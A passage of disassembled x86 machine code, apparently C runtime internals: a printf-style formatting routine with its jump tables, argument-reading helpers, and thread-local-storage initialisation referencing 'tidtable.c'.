movsx eax, byte ptr [edx+1] cmp eax, 34h jnz short loc_42309B mov ecx, [ebp+arg_4] add ecx, 2 mov [ebp+arg_4], ecx mov edx, [ebp+var_4] or dh, 80h mov [ebp+var_4], edx jmp short loc_4230A7 ; --------------------------------------------------------------------------- loc_42309B: ; CODE XREF: sub_422D70+309j ; sub_422D70+315j mov [ebp+var_18], 0 jmp loc_422E30 ; --------------------------------------------------------------------------- loc_4230A7: ; CODE XREF: sub_422D70+329j jmp short loc_4230BC ; --------------------------------------------------------------------------- loc_4230A9: ; CODE XREF: sub_422D70+2EEj ; DATA XREF: .nsp0:004239E1o mov eax, [ebp+var_4] or al, 20h mov [ebp+var_4], eax jmp short loc_4230BC ; --------------------------------------------------------------------------- loc_4230B3: ; CODE XREF: sub_422D70+2EEj ; DATA XREF: .nsp0:004239E9o mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_4230BC: ; CODE XREF: sub_422D70+2DEj ; sub_422D70+2EEj ... jmp loc_423982 ; --------------------------------------------------------------------------- loc_4230C1: ; CODE XREF: sub_422D70+B9j ; DATA XREF: .nsp0:004239B0o movsx edx, byte ptr [ebp+var_28] mov [ebp+var_2A0], edx mov eax, [ebp+var_2A0] sub eax, 43h mov [ebp+var_2A0], eax cmp [ebp+var_2A0], 35h ja loc_4237A7 mov edx, [ebp+var_2A0] xor ecx, ecx mov cl, byte_423A5C[edx] jmp off_423A20[ecx*4] loc_4230FC: ; DATA XREF: .nsp0:off_423A20o mov eax, [ebp+var_4] and eax, 830h test eax, eax jnz short loc_423111 mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_423111: ; CODE XREF: sub_422D70+385j ; sub_422D70+396j ; DATA XREF: ... mov edx, [ebp+var_4] and edx, 810h test edx, edx jz short loc_423157 lea eax, [ebp+arg_8] push eax call sub_423BF0 add esp, 4 mov [ebp+var_14], ax mov cx, [ebp+var_14] push ecx lea edx, [ebp+var_228] push edx call sub_42C970 add esp, 8 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jge short loc_423155 mov [ebp+var_23C], 1 loc_423155: ; CODE XREF: sub_422D70+3D9j jmp short loc_42317D ; --------------------------------------------------------------------------- loc_423157: ; CODE XREF: sub_422D70+3ACj lea eax, [ebp+arg_8] push eax call sub_423BB0 add esp, 4 mov [ebp+var_248], ax mov cl, byte ptr [ebp+var_248] mov [ebp+var_228], cl mov [ebp+var_24], 1 loc_42317D: ; CODE XREF: sub_422D70:loc_423155j lea edx, [ebp+var_228] mov [ebp+var_20], edx jmp loc_4237A7 ; --------------------------------------------------------------------------- loc_42318B: ; CODE XREF: sub_422D70+385j ; DATA XREF: .nsp0:00423A30o lea eax, [ebp+arg_8] push eax call sub_423BB0 add esp, 4 mov [ebp+var_24C], eax cmp [ebp+var_24C], 0 jz short loc_4231B2 mov ecx, [ebp+var_24C] cmp dword ptr [ecx+4], 0 jnz short loc_4231CC loc_4231B2: ; CODE XREF: sub_422D70+434j mov edx, off_4516B4 mov [ebp+var_20], edx mov eax, [ebp+var_20] push eax call sub_418D00 add esp, 4 mov [ebp+var_24], eax jmp short loc_42321B ; --------------------------------------------------------------------------- loc_4231CC: ; CODE XREF: sub_422D70+440j mov ecx, [ebp+var_4] and ecx, 800h test ecx, ecx jz short loc_4231FC mov edx, [ebp+var_24C] mov eax, [edx+4] mov [ebp+var_20], eax mov ecx, [ebp+var_24C] movsx edx, word ptr [ecx] shr edx, 1 mov [ebp+var_24], edx mov [ebp+var_1C], 1 jmp short loc_42321B ; --------------------------------------------------------------------------- loc_4231FC: ; CODE XREF: sub_422D70+467j mov [ebp+var_1C], 0 mov eax, [ebp+var_24C] mov ecx, [eax+4] mov [ebp+var_20], ecx mov edx, [ebp+var_24C] movsx eax, word ptr [edx] mov [ebp+var_24], eax loc_42321B: ; CODE XREF: sub_422D70+45Aj ; sub_422D70+48Aj jmp loc_4237A7 ; --------------------------------------------------------------------------- loc_423220: ; CODE XREF: sub_422D70+385j ; DATA XREF: .nsp0:00423A28o mov ecx, [ebp+var_4] and ecx, 830h test ecx, ecx jnz short loc_423236 mov edx, [ebp+var_4] or dh, 8 mov [ebp+var_4], edx loc_423236: ; CODE XREF: sub_422D70+385j ; sub_422D70+4BBj ; DATA XREF: ... cmp [ebp+var_234], 0FFFFFFFFh jnz short loc_42324B mov [ebp+var_2A4], 7FFFFFFFh jmp short loc_423257 ; --------------------------------------------------------------------------- loc_42324B: ; CODE XREF: sub_422D70+4CDj mov eax, [ebp+var_234] mov [ebp+var_2A4], eax loc_423257: ; CODE XREF: sub_422D70+4D9j mov ecx, [ebp+var_2A4] mov [ebp+var_258], ecx lea edx, [ebp+arg_8] push edx call sub_423BB0 add esp, 4 mov [ebp+var_20], eax mov eax, [ebp+var_4] and eax, 810h test eax, eax jz short loc_4232E6 cmp [ebp+var_20], 0 jnz short loc_42328D mov ecx, off_4516B8 mov [ebp+var_20], ecx loc_42328D: ; CODE XREF: sub_422D70+512j mov [ebp+var_1C], 1 mov edx, [ebp+var_20] mov [ebp+var_254], edx loc_42329D: ; CODE XREF: sub_422D70+564j mov eax, [ebp+var_258] mov ecx, [ebp+var_258] sub ecx, 1 mov [ebp+var_258], ecx test eax, eax jz short loc_4232D6 mov edx, [ebp+var_254] xor eax, eax mov ax, [edx] test eax, eax jz short loc_4232D6 mov ecx, [ebp+var_254] add ecx, 2 mov [ebp+var_254], ecx jmp short loc_42329D ; --------------------------------------------------------------------------- loc_4232D6: ; CODE XREF: sub_422D70+544j ; sub_422D70+553j mov edx, [ebp+var_254] sub edx, [ebp+var_20] sar edx, 1 mov [ebp+var_24], edx jmp short loc_423340 ; --------------------------------------------------------------------------- loc_4232E6: ; CODE XREF: sub_422D70+50Cj cmp [ebp+var_20], 0 jnz short loc_4232F4 mov eax, off_4516B4 mov [ebp+var_20], eax loc_4232F4: ; CODE XREF: sub_422D70+57Aj mov ecx, [ebp+var_20] mov [ebp+var_250], ecx loc_4232FD: ; CODE XREF: sub_422D70+5C2j mov edx, [ebp+var_258] mov eax, [ebp+var_258] sub eax, 1 mov [ebp+var_258], eax test edx, edx jz short loc_423334 mov ecx, [ebp+var_250] movsx edx, byte ptr [ecx] test edx, edx jz short loc_423334 mov eax, [ebp+var_250] add eax, 1 mov [ebp+var_250], eax jmp short loc_4232FD ; --------------------------------------------------------------------------- loc_423334: ; CODE XREF: sub_422D70+5A4j ; sub_422D70+5B1j mov ecx, [ebp+var_250] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx loc_423340: ; CODE XREF: sub_422D70+574j jmp loc_4237A7 ; --------------------------------------------------------------------------- loc_423345: ; CODE XREF: sub_422D70+385j ; DATA XREF: .nsp0:00423A40o lea edx, [ebp+arg_8] push edx call sub_423BB0 add esp, 4 mov [ebp+var_25C], eax mov eax, [ebp+var_4] and eax, 20h test eax, eax jz short loc_423373 mov ecx, [ebp+var_25C] mov dx, word ptr [ebp+var_22C] mov [ecx], dx jmp short loc_423381 ; --------------------------------------------------------------------------- loc_423373: ; CODE XREF: sub_422D70+5EFj mov eax, [ebp+var_25C] mov ecx, [ebp+var_22C] mov [eax], ecx loc_423381: ; CODE XREF: sub_422D70+601j mov [ebp+var_23C], 1 jmp loc_4237A7 ; --------------------------------------------------------------------------- loc_423390: ; CODE XREF: sub_422D70+385j ; DATA XREF: .nsp0:00423A24o mov [ebp+var_8], 1 mov dl, byte ptr [ebp+var_28] add dl, 20h mov byte ptr [ebp+var_28], dl loc_4233A0: ; CODE XREF: sub_422D70+385j ; DATA XREF: .nsp0:00423A3Co mov eax, [ebp+var_4] or al, 40h mov [ebp+var_4], eax lea ecx, [ebp+var_228] mov [ebp+var_20], ecx cmp [ebp+var_234], 0 jge short loc_4233C6 mov [ebp+var_234], 6 jmp short loc_4233E2 ; --------------------------------------------------------------------------- loc_4233C6: ; CODE XREF: sub_422D70+648j cmp [ebp+var_234], 0 jnz short loc_4233E2 movsx edx, byte ptr [ebp+var_28] cmp edx, 67h jnz short loc_4233E2 mov [ebp+var_234], 1 loc_4233E2: ; CODE XREF: sub_422D70+654j ; sub_422D70+65Dj ... mov eax, [ebp+arg_8] add eax, 8 mov [ebp+arg_8], eax mov ecx, [ebp+arg_8] sub ecx, 8 mov edx, [ecx] mov eax, [ecx+4] mov [ebp+var_264], edx mov [ebp+var_260], eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_234] push edx movsx eax, byte ptr [ebp+var_28] push eax mov ecx, [ebp+var_20] push ecx lea edx, [ebp+var_264] push edx call off_451A48 add esp, 14h mov eax, [ebp+var_4] and eax, 80h test eax, eax jz short loc_423448 cmp [ebp+var_234], 0 jnz short loc_423448 mov ecx, [ebp+var_20] push ecx call off_451A54 add esp, 4 loc_423448: ; CODE XREF: sub_422D70+6C0j ; sub_422D70+6C9j movsx edx, byte ptr [ebp+var_28] cmp edx, 67h jnz short loc_42346A mov eax, [ebp+var_4] and eax, 80h test eax, eax jnz short loc_42346A mov ecx, [ebp+var_20] push ecx call off_451A4C add esp, 4 loc_42346A: ; CODE XREF: sub_422D70+6DFj ; sub_422D70+6EBj mov edx, [ebp+var_20] movsx eax, byte ptr [edx] cmp eax, 2Dh jnz short loc_423487 mov ecx, [ebp+var_4] or ch, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_423487: ; CODE XREF: sub_422D70+703j mov eax, [ebp+var_20] push eax call sub_418D00 add esp, 4 mov [ebp+var_24], eax jmp loc_4237A7 ; --------------------------------------------------------------------------- loc_42349B: ; CODE XREF: sub_422D70+385j ; DATA XREF: .nsp0:00423A38o mov ecx, [ebp+var_4] or ecx, 40h mov [ebp+var_4], ecx mov [ebp+var_238], 0Ah jmp loc_423535 ; --------------------------------------------------------------------------- loc_4234B3: ; CODE XREF: sub_422D70+385j ; DATA XREF: .nsp0:00423A50o mov [ebp+var_238], 0Ah jmp short loc_423535 ; --------------------------------------------------------------------------- loc_4234BF: ; CODE XREF: sub_422D70+385j ; DATA XREF: .nsp0:00423A48o mov [ebp+var_234], 8 loc_4234C9: ; CODE XREF: sub_422D70+385j ; DATA XREF: .nsp0:00423A2Co mov [ebp+var_230], 7 jmp short loc_4234DF ; --------------------------------------------------------------------------- loc_4234D5: ; CODE XREF: sub_422D70+385j ; DATA XREF: .nsp0:00423A54o mov [ebp+var_230], 27h loc_4234DF: ; CODE XREF: sub_422D70+763j mov [ebp+var_238], 10h mov edx, [ebp+var_4] and edx, 80h test edx, edx jz short loc_423513 mov [ebp+var_240], 30h mov eax, [ebp+var_230] add eax, 51h mov [ebp+var_23F], al mov [ebp+var_10], 2 loc_423513: ; CODE XREF: sub_422D70+784j jmp short loc_423535 ; --------------------------------------------------------------------------- loc_423515: ; CODE XREF: sub_422D70+385j ; DATA XREF: .nsp0:00423A44o mov [ebp+var_238], 8 mov ecx, [ebp+var_4] and ecx, 80h test ecx, ecx jz short loc_423535 mov edx, [ebp+var_4] or dh, 2 mov [ebp+var_4], edx loc_423535: ; CODE XREF: sub_422D70+73Ej ; sub_422D70+74Dj ... mov eax, [ebp+var_4] and eax, 8000h test eax, eax jz short loc_42355E lea ecx, [ebp+arg_8] push ecx call sub_423BD0 add esp, 4 mov [ebp+var_278], eax mov [ebp+var_274], edx jmp loc_4235EF ; --------------------------------------------------------------------------- loc_42355E: ; CODE XREF: sub_422D70+7CFj mov edx, [ebp+var_4] and edx, 20h test edx, edx jz short loc_4235B0 mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_423590 lea ecx, [ebp+arg_8] push ecx call sub_423BB0 add esp, 4 movsx eax, ax cdq mov [ebp+var_278], eax mov [ebp+var_274], edx jmp short loc_4235AE ; --------------------------------------------------------------------------- loc_423590: ; CODE XREF: sub_422D70+800j lea edx, [ebp+arg_8] push edx call sub_423BB0 add esp, 4 and eax, 0FFFFh cdq mov [ebp+var_278], eax mov [ebp+var_274], edx loc_4235AE: ; CODE XREF: sub_422D70+81Ej jmp short loc_4235EF ; --------------------------------------------------------------------------- loc_4235B0: ; CODE XREF: sub_422D70+7F6j mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_4235D5 lea ecx, [ebp+arg_8] push ecx call sub_423BB0 add esp, 4 cdq mov [ebp+var_278], eax mov [ebp+var_274], edx jmp short loc_4235EF ; --------------------------------------------------------------------------- loc_4235D5: ; CODE XREF: sub_422D70+848j lea edx, [ebp+arg_8] push edx call sub_423BB0 add esp, 4 xor ecx, ecx mov [ebp+var_278], eax mov [ebp+var_274], ecx loc_4235EF: ; CODE XREF: sub_422D70+7E9j ; sub_422D70:loc_4235AEj ... mov edx, [ebp+var_4] and edx, 40h test edx, edx jz short loc_423637 cmp [ebp+var_274], 0 jg short loc_423637 jl short loc_42360D cmp [ebp+var_278], 0 jnb short loc_423637 loc_42360D: ; CODE XREF: sub_422D70+892j mov eax, [ebp+var_278] neg eax mov ecx, [ebp+var_274] adc ecx, 0 neg ecx mov [ebp+var_26C], eax mov [ebp+var_268], ecx mov edx, [ebp+var_4] or dh, 1 mov [ebp+var_4], edx jmp short loc_42364F ; --------------------------------------------------------------------------- loc_423637: ; CODE XREF: sub_422D70+887j ; sub_422D70+890j ... mov eax, [ebp+var_278] mov [ebp+var_26C], eax mov ecx, [ebp+var_274] mov [ebp+var_268], ecx loc_42364F: ; CODE XREF: sub_422D70+8C5j mov edx, [ebp+var_4] and edx, 8000h test edx, edx jnz short loc_423677 mov eax, [ebp+var_26C] mov ecx, [ebp+var_268] and ecx, 0 mov [ebp+var_26C], eax mov [ebp+var_268], ecx loc_423677: ; CODE XREF: sub_422D70+8EAj cmp [ebp+var_234], 0 jge short loc_42368C mov [ebp+var_234], 1 jmp short loc_423695 ; --------------------------------------------------------------------------- loc_42368C: ; CODE XREF: sub_422D70+90Ej mov edx, [ebp+var_4] and edx, 0FFFFFFF7h mov [ebp+var_4], edx loc_423695: ; CODE XREF: sub_422D70+91Aj mov eax, [ebp+var_26C] or eax, [ebp+var_268] test eax, eax jnz short loc_4236AC mov [ebp+var_10], 0 loc_4236AC: ; CODE XREF: sub_422D70+933j lea ecx, [ebp+var_29] mov [ebp+var_20], ecx loc_4236B2: ; CODE XREF: sub_422D70+9EBj mov edx, [ebp+var_234] mov eax, [ebp+var_234] sub eax, 1 mov [ebp+var_234], eax test edx, edx jg short loc_4236DF mov ecx, [ebp+var_26C] or ecx, [ebp+var_268] test ecx, ecx jz loc_423760 loc_4236DF: ; CODE XREF: sub_422D70+959j mov eax, [ebp+var_238] cdq push edx push eax mov edx, [ebp+var_268] push edx mov eax, [ebp+var_26C] push eax call sub_41DF70 add eax, 30h mov [ebp+var_270], eax mov eax, [ebp+var_238] cdq push edx push eax mov ecx, [ebp+var_268] push ecx mov edx, [ebp+var_26C] push edx call sub_41DF00 mov [ebp+var_26C], eax mov [ebp+var_268], edx cmp [ebp+var_270], 39h jle short loc_423747 mov eax, [ebp+var_270] add eax, [ebp+var_230] mov [ebp+var_270], eax loc_423747: ; CODE XREF: sub_422D70+9C3j mov ecx, [ebp+var_20] mov dl, byte ptr [ebp+var_270] mov [ecx], dl mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax jmp loc_4236B2 ; --------------------------------------------------------------------------- loc_423760: ; CODE XREF: sub_422D70+969j lea ecx, [ebp+var_29] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+var_4] and eax, 200h test eax, eax jz short loc_4237A7 mov ecx, [ebp+var_20] movsx edx, byte ptr [ecx] cmp edx, 30h jnz short loc_42378F cmp [ebp+var_24], 0 jnz short loc_4237A7 loc_42378F: ; CODE XREF: sub_422D70+A17j mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+var_20] mov byte ptr [ecx], 30h mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx loc_4237A7: ; CODE XREF: sub_422D70+371j ; sub_422D70+385j ... cmp [ebp+var_23C], 0 jnz loc_423982 mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_42380D mov ecx, [ebp+var_4] and ecx, 100h test ecx, ecx jz short loc_4237DB mov [ebp+var_240], 2Dh mov [ebp+var_10], 1 jmp short loc_42380D ; --------------------------------------------------------------------------- loc_4237DB: ; CODE XREF: sub_422D70+A59j mov edx, [ebp+var_4] and edx, 1 test edx, edx jz short loc_4237F5 mov [ebp+var_240], 2Bh mov [ebp+var_10], 1 jmp short loc_42380D ; --------------------------------------------------------------------------- loc_4237F5: ; CODE XREF: sub_422D70+A73j mov eax, [ebp+var_4] and eax, 2 test eax, eax jz short loc_42380D mov [ebp+var_240], 20h mov [ebp+var_10], 1 loc_42380D: ; CODE XREF: sub_422D70+A4Cj ; sub_422D70+A69j ... mov ecx, [ebp+var_244] sub ecx, [ebp+var_24] sub ecx, [ebp+var_10] mov [ebp+var_27C], ecx mov edx, [ebp+var_4] and edx, 0Ch test edx, edx jnz short loc_423845 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 20h call sub_423B20 add esp, 10h loc_423845: ; CODE XREF: sub_422D70+AB7j lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_10] push edx lea eax, [ebp+var_240] push eax call sub_423B60 add esp, 10h mov ecx, [ebp+var_4] and ecx, 8 test ecx, ecx jz short loc_423893 mov edx, [ebp+var_4] and edx, 4 test edx, edx jnz short loc_423893 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 30h call sub_423B20 add esp, 10h loc_423893: ; CODE XREF: sub_422D70+AFBj ; sub_422D70+B05j cmp [ebp+var_1C], 0 jz loc_423941 cmp [ebp+var_24], 0 jle loc_423941 mov eax, [ebp+var_20] mov [ebp+var_280], eax mov ecx, [ebp+var_24] mov [ebp+var_284], ecx loc_4238B9: ; CODE XREF: sub_422D70+BCAj mov edx, [ebp+var_284] mov eax, [ebp+var_284] sub eax, 1 mov [ebp+var_284], eax test edx, edx jz short loc_42393F mov ecx, [ebp+var_280] mov dx, [ecx] mov [ebp+var_2A6], dx mov ax, [ebp+var_2A6] push eax lea ecx, [ebp+var_288] push ecx mov edx, [ebp+var_280] add edx, 2 mov [ebp+var_280], edx call sub_42C970 add esp, 8 mov [ebp+var_28C], eax cmp [ebp+var_28C], 0 jg short loc_423919 jmp short loc_42393F ; --------------------------------------------------------------------------- loc_423919: ; CODE XREF: sub_422D70+BA5j lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_28C] push edx lea eax, [ebp+var_288] push eax call sub_423B60 add esp, 10h jmp loc_4238B9 ; --------------------------------------------------------------------------- loc_42393F: ; CODE XREF: sub_422D70+B60j ; sub_422D70+BA7j jmp short loc_42395C ; --------------------------------------------------------------------------- loc_423941: ; CODE XREF: sub_422D70+B27j ; sub_422D70+B31j lea ecx, [ebp+var_22C] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+var_20] push ecx call sub_423B60 add esp, 10h loc_42395C: ; CODE XREF: sub_422D70:loc_42393Fj mov edx, [ebp+var_4] and edx, 4 test edx, edx jz short loc_423982 lea eax, [ebp+var_22C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_27C] push edx push 20h call sub_423B20 add esp, 10h loc_423982: ; CODE XREF: sub_422D70+ADj ; sub_422D70+155j ... jmp loc_422D94 ; --------------------------------------------------------------------------- loc_423987: ; CODE XREF: sub_422D70+3Bj ; sub_422D70+48j mov eax, [ebp+var_22C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_422D70 endp ; --------------------------------------------------------------------------- off_423994 dd offset loc_422E30 ; DATA XREF: sub_422D70+B9r dd offset loc_422ECA dd offset loc_422F0C dd offset loc_422F7B dd offset loc_422FD3 dd offset loc_422FE2 dd offset loc_42302E dd offset loc_4230C1 off_4239B4 dd offset loc_422F58 ; DATA XREF: sub_422D70+1CCr dd offset loc_422F63 dd offset loc_422F4E dd offset loc_422F43 dd offset loc_422F6E dd offset loc_422F76 byte_4239CC db 0 ; DATA XREF: sub_422D70+1C6r db 2 dup(5), 1 dd 5050505h, 2050505h, 5050305h db 4 off_4239DD dd offset loc_423070 ; DATA XREF: sub_422D70+2EEr dd offset loc_4230A9 dd offset loc_423065 dd offset loc_4230B3 dd offset loc_4230BC byte_4239F1 db 0, 1Eh dup(4), 1, 3 dup(4), 2, 0Ah dup(4), 3 ; DATA XREF: sub_422D70+2E8r off_423A20 dd offset loc_4230FC ; DATA XREF: sub_422D70+385r dd offset loc_423390 dd offset loc_423220 dd offset loc_4234C9 dd offset loc_42318B dd offset loc_423111 dd offset loc_42349B dd offset loc_4233A0 dd offset loc_423345 dd offset loc_423515 dd offset loc_4234BF dd offset loc_423236 dd offset loc_4234B3 dd offset loc_4234D5 dd offset loc_4237A7 byte_423A5C db 0, 0Eh, 1, 0Eh, 1, 0Bh dup(0Eh), 2, 4 dup(0Eh), 3, 0Eh ; DATA XREF: sub_422D70+37Fr db 4, 8 dup(0Eh), 5, 6, 3 dup(7), 0Eh, 6, 4 dup(0Eh), 8 db 9, 0Ah, 2 dup(0Eh), 0Bh, 0Eh, 0Ch, 2 dup(0Eh), 0Dh db 0Eh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423AA0 proc near ; CODE XREF: sub_422D70+F5p ; sub_422D70+14Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_4] mov [edx+4], ecx mov eax, [ebp+arg_4] cmp dword ptr [eax+4], 0 jl short loc_423AE2 mov ecx, [ebp+arg_4] mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al movsx ecx, byte ptr [ebp+arg_0] and ecx, 0FFh mov [ebp+var_4], ecx mov edx, [ebp+arg_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_423AF5 ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423AA0+1Aj mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_422AF0 add esp, 8 mov [ebp+var_4], eax loc_423AF5: ; CODE XREF: sub_423AA0+40j cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_423B06 mov ecx, [ebp+arg_8] mov dword ptr [ecx], 0FFFFFFFFh jmp short loc_423B13 ; --------------------------------------------------------------------------- loc_423B06: ; CODE XREF: sub_423AA0+59j mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax loc_423B13: ; CODE XREF: sub_423AA0+64j mov esp, ebp pop ebp retn sub_423AA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423B20 proc near ; CODE XREF: sub_422D70+ACDp ; sub_422D70+B1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp loc_423B23: ; CODE XREF: sub_423B20:loc_423B51j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx test eax, eax jle short loc_423B53 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx call sub_423AA0 add esp, 0Ch mov edx, [ebp+arg_C] cmp dword ptr [edx], 0FFFFFFFFh jnz short loc_423B51 jmp short loc_423B53 ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423B20+2Dj jmp short loc_423B23 ; --------------------------------------------------------------------------- loc_423B53: ; CODE XREF: sub_423B20+11j ; sub_423B20+2Fj pop ebp retn sub_423B20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423B60 proc near ; CODE XREF: sub_422D70+AEBp ; sub_422D70+BC2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx loc_423B64: ; CODE XREF: sub_423B60:loc_423BA4j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx test eax, eax jle short loc_423BA6 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov [ebp+var_4], edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx call sub_423AA0 add esp, 0Ch mov edx, [ebp+arg_C] cmp dword ptr [edx], 0FFFFFFFFh jnz short loc_423BA4 jmp short loc_423BA6 ; --------------------------------------------------------------------------- loc_423BA4: ; CODE XREF: sub_423B60+40j jmp short loc_423B64 ; --------------------------------------------------------------------------- loc_423BA6: ; CODE XREF: sub_423B60+12j ; sub_423B60+42j mov esp, ebp pop ebp retn sub_423B60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423BB0 proc near ; CODE XREF: sub_422D70+218p ; sub_422D70+27Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov eax, [ecx-4] pop ebp retn sub_423BB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423BD0 proc near ; CODE XREF: sub_422D70+7D5p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 8 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] sub ecx, 8 mov eax, [ecx] mov edx, [ecx+4] pop ebp retn sub_423BD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423BF0 proc near ; CODE XREF: sub_422D70+3B2p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov ax, [ecx-4] pop ebp retn sub_423BF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423C10 proc near ; CODE XREF: .nsp0:loc_41EA54p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_41FA60 call dword_4F149C ; TlsAlloc mov dword_4516BC, eax cmp dword_4516BC, 0FFFFFFFFh jnz short loc_423C31 xor eax, eax jmp short loc_423C8E ; --------------------------------------------------------------------------- loc_423C31: ; CODE XREF: sub_423C10+1Bj push 61h push offset aTidtable_c ; "tidtable.c" push 2 push 74h push 1 call sub_419300 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_423C64 mov eax, [ebp+var_4] push eax mov ecx, dword_4516BC push ecx call dword_4F1498 ; TlsSetValue test eax, eax jnz short loc_423C68 loc_423C64: ; CODE XREF: sub_423C10+3Dj xor eax, eax jmp short loc_423C8E ; --------------------------------------------------------------------------- loc_423C68: ; CODE XREF: sub_423C10+52j mov edx, [ebp+var_4] push edx call sub_423CD0 add esp, 4 call dword_4F1494 ; GetCurrentThreadId mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov dword ptr [edx+4], 0FFFFFFFFh mov eax, 1 loc_423C8E: ; CODE XREF: sub_423C10+1Fj ; sub_423C10+56j mov esp, ebp pop ebp retn sub_423C10 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_41FAA0 cmp dword_4516BC, 0FFFFFFFFh jz short loc_423CC7 mov eax, dword_4516BC push eax call dword_4F14A0 ; TlsFree mov dword_4516BC, 0FFFFFFFFh loc_423CC7: ; CODE XREF: .nsp0:00423CAFj pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CD0 proc near ; CODE XREF: sub_423C10+5Cp ; sub_423CF0+5Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax+50h], offset dword_451BC8 mov ecx, [ebp+arg_0] mov dword ptr [ecx+14h], 1 pop ebp retn sub_423CD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CF0 proc near ; CODE XREF: sub_41B840+3p ; sub_41B850+4p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 call dword_4F1348 ; RtlGetLastWin32Error mov [ebp+var_8], eax mov eax, dword_4516BC push eax call dword_4F14A8 ; TlsGetValue mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_423D77 push 0E7h push offset aTidtable_c ; "tidtable.c" push 2 push 74h push 1 call sub_419300 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_423D6D mov ecx, [ebp+var_4] push ecx mov edx, dword_4516BC push edx call dword_4F1498 ; TlsSetValue test eax, eax jz short loc_423D6D mov eax, [ebp+var_4] push eax call sub_423CD0 add esp, 4 call dword_4F1494 ; GetCurrentThreadId mov ecx, [ebp+var_4] mov 